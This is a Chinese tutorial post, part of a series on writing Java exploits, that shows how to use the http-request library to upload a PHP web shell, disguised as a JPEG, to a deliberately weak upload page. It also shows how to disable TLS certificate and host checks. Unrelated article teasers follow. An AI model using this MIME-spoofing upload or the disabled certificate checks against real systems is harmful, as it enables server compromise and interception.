JAVA-Exploit编写(6)--http-request库文件上传使用

news/2025/1/20 16:17:48/

目录

1.http-request简介

2. 依赖导入

3.文件上传页面代码

4. http-request文件上传简单使用

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

5.2 信任所有证书


1.http-request简介

        http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

<dependency><groupId>com.github.kevinsawicki</groupId><artifactId>http-request</artifactId><version>5.6</version>
</dependency>

3.文件上传页面代码

<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {if ($_FILES["file"]["error"] > 0) {echo "Return Code: " . $_FILES["file"]["error"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";} else {if (file_exists("uploads/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];}}
} else {echo "Invalid file";
}
?>

4. http-request文件上传简单使用

  相比于之前使用的标准库和httpcomponents库来说,使用起来简单很多,通过设置文件头和.part方法即可,一看就懂.

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class HttpRequestUpload {public static void main(String[] args) {// 文件上传HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/upload.php");// 设置请求头的文件类型httpRequest.header( "content-Type","multipart/form-data;boundary=AaB03x");// 设置上传的文件 以及上传文件位置httpRequest.part("file","test123.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell.php"));// 接收响应信息System.out.println(httpRequest.body());}
}

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxxx.com");System.out.println(httpRequest.body());}
}

5.2 信任所有证书

 只需要使用两个方法就可以正常使用了

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxx.com");//信息所有证书和主机httpRequest.trustAllCerts();httpRequest.trustAllHosts();System.out.println(httpRequest.body());}
}

 


http://www.ppmy.cn/news/1564692.html

相关文章

从 Android 进行永久删除照片恢复的 5 种方法

从 Android 设备中丢失珍贵的照片可能是一种毁灭性的经历。无论是由于意外删除、软件故障还是系统更新&#xff0c;如何从 Android 永久恢复已删除的照片是一个普遍的问题。 幸运的是&#xff0c;有一些解决方案可以帮助找回丢失的记忆。本指南将涵盖您需要了解的有关如何检索…

基于OpenCV和Python的人脸识别系统_django

开发语言&#xff1a;Python框架&#xff1a;djangoPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 管理员登录 管理员功能界面 用户管理 公告信息管理 操作日志管理 用户登录界面 用户…

Go-知识 版本演进

Go-知识 版本演进 Go release notesr56(2011/03/16)r57(2011/05/03)Gofix 工具语言包工具小修订 r58(2011/06/29)语言包工具小修订 r59(2011/08/01)语言包工具 r60(2011/09/07)语言包工具 [go1 2012-03-28](https://golang.google.cn/doc/devel/release#go1)[go1.1 2013-05-13]…

【JavaScript】基础极速笔记

课程地址&#xff1a;https://www.51zxw.net/List.aspx?cid804 文章目录 基础知识变量及数据类型运算符条件语句循环语句函数数组对象获取元素事件效果实战内置方法数组方法对象方法json数据格式 基础知识 变量及数据类型 运算符 条件语句 循环语句 函数 数组 对象 获取元素 事…

VUE3 vite下的axios跨域

在使用 Vite 开发时&#xff0c;如果你的前端项目需要请求后端 API&#xff0c;且后端和前端不在同一个域上&#xff0c;可能会遇到跨域问题。跨域是指浏览器出于安全考虑&#xff0c;阻止了前端网页向不同源&#xff08;域名、协议、端口&#xff09;发送请求。 解决跨域问题…

Golang——常用库sync

本文详细介绍Golang的常用库sync&#xff0c;提供了一系列工具来处理 并发编程 中的同步问题。 文章目录 sync1. sync.Mutex - 互斥锁2. sync.RWMutex - 读写锁3. sync.WaitGroup - 等待组4. sync.Once - 单次执行5. sync.Cond - 条件变量6. sync.Pool - 对象复用池7. sync.Map…

2024最新版JavaScript逆向爬虫教程-------基础篇之Chrome开发者工具学习

目录 一、打开Chrome DevTools的三种方式二、Elements元素面板三、Console控制台面板四、Sources面板五、Network面板六、Application面板七、逆向调试技巧 7.1 善用搜索7.2 查看请求调用堆栈7.3 XHR 请求断点7.4 Console 插桩7.5 堆内存函数调用7.6 复制Console面板输出 工…

Java合并多个List集合的方法

1. 使用addAll()方法 方法说明 Java的java.util.List接口提供了addAll()方法&#xff0c;可以直接将一个集合中的所有元素添加到另一个集合中。 示例代码 import java.util.ArrayList; import java.util.List;public class ListMergeExample {public static void main(Stri…